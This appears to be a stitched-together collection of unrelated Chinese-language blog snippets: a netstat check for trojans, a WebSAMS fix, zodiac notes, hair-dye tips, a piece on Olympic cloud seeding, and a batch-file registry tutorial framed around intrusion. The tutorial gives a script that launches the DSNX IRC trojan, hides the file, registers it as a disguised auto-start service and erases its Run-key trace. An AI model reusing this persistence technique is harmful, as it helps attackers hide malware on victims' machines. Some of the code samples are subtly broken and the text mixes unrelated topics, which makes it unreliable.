你部腦有無被偷看,一CHECK就知

Windows XP 在〔開始〕->〔執行〕，輸入〔cmd〕確定，在〔 command prompt〕 鍵入〔netstat〕查看目前已與本電腦建立的連接。
顯示出來的結果表示為四列，其意思分別為Proto：協議，Local Address：本地地址，Foreign Address：遠程地址，State：狀態。在位址欄中冒號的後面就是埠號。如果發現埠號碼異常（比如大於5000），而Foreign Address中的位址又不為正常網路流覽的位址，那麼可以判斷你的機器正被Foreign Address中表示的遠端電腦所窺視著。
在對應行的Foreign Address中顯示的IP位址就是目前非法連接你電腦的木馬用戶端。 當網路處於非活動狀態，也就是目前沒什麼活動網路連接時，在 command prompt 視窗中用netstat命令將看不到什麼東西。此時可以使用「netstat -a」,加了常數「-a」表示顯示電腦中目前處於監聽狀態的埠。

對於Windows98來說，正常情況下，會出現如下的一些處於監聽狀態的埠（安裝有NETBEUI協議）： 如果出現有不明埠處於監聽（LISTENING）狀態，而目前又沒有進行任何網路服務操作，那麼在監聽該埠的就是特洛伊木馬了！ 注意，使用此方法查詢處於監聽狀態的埠，一定要保證在短時間內（最好5分鐘以上）沒有運行任何網路衝浪軟體，也沒有進行過任何網路操作，比如流覽網頁，收、發信等。不然容易混淆對結果的判斷。

如何更正websams upgrade 後的亂碼

1.

login SAMS SERVER(出現亂碼那部機)

先close WEBSAMS 記住3 - 2 - 1!!!!!!!

control panel-->Reginal Option

General ---> you locate
選English(任何一個國家都得)

Press "Apply"

再選
Chinese(HK)

Press "Apply"

入碟, then reboot

再START WEBSAMS
=========================
2.請到 d:\WebSAMS\batch\utilities\ 將 mingliu.ttc 檔抄到 Windows 的 fonts 資料匣內。

十二星座的自我價值

牡羊：
不可諱言的這個星座就是隻愛自己的星座，其實你的自我價值觀很正確但問題救出在太自我沒有把別人的需要放在眼裡，這一點要注意喔！


金牛：
你的自我價值就是能夠帶給自己和別人安全感，你的溫柔與體貼雖然平實不表現出來，但是如果你能發現這個特點帶給需要的人一些安全感你會很有成就呢！


雙子：
你覺得最讓自己有價值的就是你的溝通技巧，你來回穿梭於同學之間，扮演著中間人的角色讓你體驗到自己在社團或班上扮演重要的角色呢！


巨蟹：
巨蟹座常常需要很多很多的安全感，然而你常常忘記你照顧別人的時候都會散發出一種母性的關懷，這其實就是你生命當中最有價值的地方喔！


獅子：
我知道很多人都說你臭屁，但是有目標有自信就是一個獅子座最有價值之處，如果你能夠展現出你的活力、快樂、帶給大家快樂時你就成為自己的無價之寶啦！


處女：
很多處女座都低估了自己值得被人喜愛的價值，你的細心體貼與實際往往需要跟你親近的人才能夠瞭解，所以也不必因為不瞭解你的人而自暴自棄不是嗎？


天秤：
天秤座是天生的和平大使，你們總是有辦法讓大家處的很平穩而且顧及到每一個人，然而有些時候會讓你們失去自我喔！要小心，這會讓你的魅力減少很多的！


天蠍：
你擁有神秘的魅力，不過往往不喜歡表現或是自己找不到，這需要多方常識，多補充自己如何裝扮，多點微笑你會發現自己舉手投足都會很性感喔！


射手：
你的自我價值就在於那種無藥可救的樂觀態度，以及永遠向前看的積極面，反正不用我說你也不會在意別人怎麼看你，所以盡情的展現自我吧！


摩羯：
太陽或金星在摩羯座的人常對情感還有自己的魅力沒自信，事實上隨著年齡的成長以及社會經驗的豐富，摩羯座會變得超有魅力的，所以寧缺勿濫這時候沒人欣賞我們要先學會欣賞自己的成熟。


水瓶：
你的特殊還有與眾不同就是你自身最有價值的地方，或許有些人會說你怪，但是喜歡你的人照樣會對你崇拜的要死。


雙魚：
你的自我價值就是心地善良，有些時候雖然天真的可愛，但是你的善良會打動許多人的心喔！但是還是要建議你有些時候不要太愛幻想，特別是那種為愛犧牲的事情，對你來說還太早。

如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。

1.创建
创建分为两种，一种是创建子项(Subkey)

我们创建一个文件，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/hacker]

然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Invader"="Ex4rch"
"Door"=C://WINNT//system32//door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”


2.修改
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。

3.删除
我们首先来说说删除一个项目名称，我们创建一个如下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Ex4rch"=-

执行该脚本，[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]下的"Ex4rch"就被删除了；

我们再看看删除一个子项，我们创建一个如下的脚本：

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

执行该脚本，[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]就已经被删除了。

相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样：
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C://WINNT//system32//door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg


samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:/winnt/system32/windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]
@REM 这样不是更安全^_^.

健康又美丽正确染发方法

在计划染发之前一个礼拜，应该进行1~2次的护发；在染发之前，请专业染发师检测发质及头皮状况，来挑选适合的染发药水。


　　每次的染发和上一次的染发，最好间隔两个半月以上，而且记得要交互使用永久染(补染新长出的头发或原本未处理到的头发部分)与护发染(上次染过却已微微掉色的头发)，这样一来就能降低发质严重受损的机率。

　　至于第一次染发的美眉呢，最好先采用挑染，之后再视情况决定是否整头都染，以免头发受到过度伤害，染过后的头发才会健康又漂亮。

　　★染后护彩新秘诀

　　也许你一直期待用变幻多端的色彩，为头发增添一抹彩虹般的眩亮时尚，但你是否总暗暗担心：染发虽然为发丝带来了颜色，却夺走了健康的美丽光彩？秀发如何才能持久散发出彩色水晶般的染后光泽？染发伤害不同于普通的物理伤害，它是内部伤害，只有专门针对染后受损发质的洗发露和润发精华素，才能给秀发深层的修复。

★染发Tips：

　　1、染发当天不要洗头，头皮分泌的油分，恰恰是头发天然的保护膜。

　　2、使用专业的洗护产品，比如潘婷莹彩深层秀护系列。

　　3、头发颜色的选择要和眼睛与眉毛的色彩相配合，假如眉毛太浓发色太浅，会变成非常恐怖的“眉毛怪人”。

　　4、各种颜色的色素颗粒直径不一，蓝色最大，紫色、绿色、红(橙)色、黄色依次减小。所以蓝紫色最不容易染上，染上后也最易发生色素流失，需要加倍小心护理。

　　5、为了给受损发质充分时间以休养，全头染发两周后才可烫发，六到八周后才可再次染发。

　　6、染后头发的清洗，要格外重视护发素的使用；要每次使用洗发露的同时配合使用润发精华素，护发素的用量应该是洗发香波的两倍。

人工消雨

奧運史上首次實現成功人工消雨, 但這會引起環境問題嗎?

人工消雨, 是實施火箭攔截作業, 使降雨強回波中心明顯減弱，令雲體被打散

至於對環境方面, 根據8月8日當天對催化劑播撒的測算, 大約每平方公里只有一克碘化銀。

另外, 催化劑除了碘化銀之外, 還採用了綠色環保催化劑液氮

因此, 北京為奧運會開幕式在人工影響天氣中催化劑使用量比較小, 不會造成對環境的污染

消雨和造雨其實是同一樣東西

水氣要凝結成水點是需要一些非氣性媒體的幫助，這些東西亦叫凝结核（cloud condensation nuclei）。他們是一些比最小的水點還要細100倍的粒子，在自然界中通常只是一些沙塵。如果在高空沒有這些凝结核，相對濕度是需要到達超飽和的400%，雲才會形成。

人工造雨就是用人為的方式，例如用火箭和飛機，去直接把一些凝结核運上高空中，來加速雨點的形成。而碘化銀就是最常用，一種化學結構很像冰的人工凝结核。而矽藻土其實是一些很輕而吸水力強的石頭，乃全天然成份，磨碎成粉末後也可作凝结核之用，是種比較新的材料。

人工雨雲形成了雨下了，大氣層的水氣也會變少，所以造雨也叫做「消雨」。像早前北京造雨，就是把雨水先在西方下了，那對於在下風的北京奧運場館來說便是消雨了。